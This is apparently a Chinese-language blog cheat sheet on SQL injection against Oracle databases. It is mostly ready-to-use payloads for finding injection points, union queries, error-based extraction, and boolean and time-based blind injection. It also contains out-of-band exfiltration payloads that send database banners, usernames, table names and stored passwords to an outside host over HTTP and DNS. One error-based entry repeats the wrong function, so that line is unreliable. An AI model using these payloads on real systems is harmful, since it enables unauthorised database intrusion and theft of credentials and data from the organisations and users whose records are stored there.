Oracle 注入 All in ONE
字数 638 2025-08-19 12:41:03
Oracle 注入全面指南
0x01 寻找并判断注入点
数字型注入判断方法
-
使用不等号(<>)判断
?id=1'+and+1<>6--+ # 返回为真,页面正常 ?id=1'+and+1<>1--+ # 返回为假,页面异常 -
使用加减法判断
?id=1 # 返回id为1的内容 ?id=2-1 # 返回为1的内容 -
通过数据库报错判断
?id=1 # 返回正常 ?id=1/0 # 返回异常 -
通过注释符判断
?id=1 # 返回正常 ?id=1/*loecho*/ # 也返回正常 ?id=1--loecho # 也返回正常
字符型注入判断方法
-
使用不等号(<>)判断
?name=loecho'+and+1<>6--+ # 返回正常 ?name=loecho'+and+1<>1--+ # 返回异常 -
使用字符串拼接符(||)判断
?name=lo'||'echo # 返回正常 ?name=lo'||'haha # 返回异常
0x02 利用并查询数据
1. 联合查询
-
判断列数
?id=1'+order+by+4--+ # 返回正常 ?id=1'+order+by+5--+ # 提示报错 -
判断列数据类型
?id=1'+union+select+user+null+null+null+from+dual--+ # 查询当前用户名 -
获取表名和列名
select table_name from user_tables where rownum=1 # 获取表名 select column_name from user_tab_columns where table_name='TB_USER' and rownum=1 # 获取列名 select USER_ID from TB_USER where USER_ID=1 and rownum=1 # 获取数据
2. 报错注入
-
XMLType()
upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) -
dbms_xdb_version.checkin()
upper(dbms_xdb_version.checkin((select user from dual))) -
ctxsys.drithsx.sn()
upper(dbms_xdb_version.checkin((select user from dual))) -
ordsys.ord_dicom.getmappingxpath()
ordsys.ord_dicom.getmappingxpath(user,user,user) -
dbms_utility.sqlid_to_sqlhash()
dbms_utility.sqlid_to_sqlhash((select user from dual))
3. OOB外带数据
-
HTTP请求外带数据
and utl_http.request('http://ip:port/'||(select banner from sys.v_$version where rownum=1))=1-- # 查询指纹版 and utl_http.request('http://ip:port/'%7C%7C(select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual))=1 # 查询环境 and utl_http.request('http://ip:port/'%7c%7c (select user from dual))=1-- # 查询当前用户 and utl_http.request('http://ip:port/'||(select TABLE_NAME from all_tables where rownum=1))=1-- # 查询所有数据表名 -
DNSlog请求外带数据
select name from test_user where id =1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id=1)||'.dnslog') FROM sys.DUAL; select name from test_user where id =1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id=1)||'.dnslog',80) FROM sys.DUAL; select name from test_user where id =1 union SELECT HTTPURITYPE((select pass from test_user where id=1)||'.dnslog').GETCLOB() FROM sys.DUAL; select name from test_user where id =1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select pass from test_user where id=1)||'.dnslog') FROM sys.DUAL;
4. 基于布尔值的盲注
-
使用substr()和decode()函数
and+1=(select+decode(substr((select user from dual),§1§,1),'§S§',(1),0) from dual)--+ # 查user and+1=(select decode(substr((select banner from sys.v_$version wher rownum=1),1 ,1),'S',(1),0) from dual)--+ # 查version and+1=(select decode(substr((select table_name from user_tables where rownum=1),§1§,1),'§S§',(1),0) from dual)--+ # 查表名 -
使用case、substr()和ascii()函数
123=(case when ascii(substr(user,§0§,1))=§121§ then '123' else '456' end)--+ -
使用case、instr()和chr()函数
123=(case instr(user,chr(§*§),§*§,1) when §*§ then '123' else '456' end)--+
5. 基于时间的盲注
'||decode(substr(user,§*§,1),chr(§*§),DBMS_PIPE.receive_message('sen',1),2)||' # 查user
0x03 实际案例分析
-
手工判断
- 条件为真时页面正常
- 条件为假时页面异常
-
Payload示例
{"tel":"18848888888/**/and/**/1=(select/**/decode(substr((select/**/banner/**/from/**/sys.v_$version/**/where/**/rownum=1),1 ,1),'S',(1),0)/**/from/**/dual)"}
0x04 测试建议
- 着重测试微应用的后端交互或后端API
- 只要成功判断后端执行了拼接的SQL语句,就存在问题
- 搜索处、表单提交等各类可能有后端交互的地方都应测试
- 配合数据库特性如1/0也可以进行测试
常用Oracle查询语句
-
查询数据库信息
select name from v$database; select instance_name from v$instance; -
查询所有表空间
select * from v$tablespace; -
查询当前数据库中所有表名
select * from user_tables; -
查询指定表中的所有字段名
select column_name from user_tab_columns where table_name = 'table_name'; -
查询指定表中的字段名和类型
select column_name, data_type from user_tab_columns where table_name = 'table_name';